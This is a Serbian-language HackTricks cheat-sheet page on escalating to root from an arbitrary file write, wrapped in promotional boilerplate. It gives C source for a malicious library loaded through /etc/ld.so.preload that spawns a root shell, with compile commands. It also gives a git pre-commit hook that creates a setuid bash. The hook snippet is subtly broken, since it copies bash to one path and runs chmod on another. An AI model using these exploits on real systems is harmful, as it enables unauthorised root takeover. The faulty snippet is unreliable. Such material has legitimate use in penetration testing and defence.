3.6 KiB
Proizvoljan zapis datoteke u root
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite videti vašu kompaniju reklamiranu u HackTricks-u ili preuzeti HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
/etc/ld.so.preload
Ova datoteka se ponaša kao LD_PRELOAD
env promenljiva, ali takođe radi i u SUID binarnim fajlovima.
Ako je možete kreirati ili izmeniti, jednostavno možete dodati putanju do biblioteke koja će biti učitana sa svakim izvršenim binarnim fajlom.
Na primer: echo "/tmp/pe.so" > /etc/ld.so.preload
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Git kuke
Git kuke su skripte koje se izvršavaju pri različitim događajima u git repozitorijumu, kao što je kreiranje commit-a, spajanje... Dakle, ako privilegovani skript ili korisnik često izvršavaju ove akcije i mogu pisati u .git
folder, to se može iskoristiti za privilegovanu eskalaciju.
Na primer, moguće je generisati skriptu u git repozitorijumu u .git/hooks
folderu tako da se uvek izvršava kada se kreira novi commit:
{% code overflow="wrap" %}
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
{% endcode %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.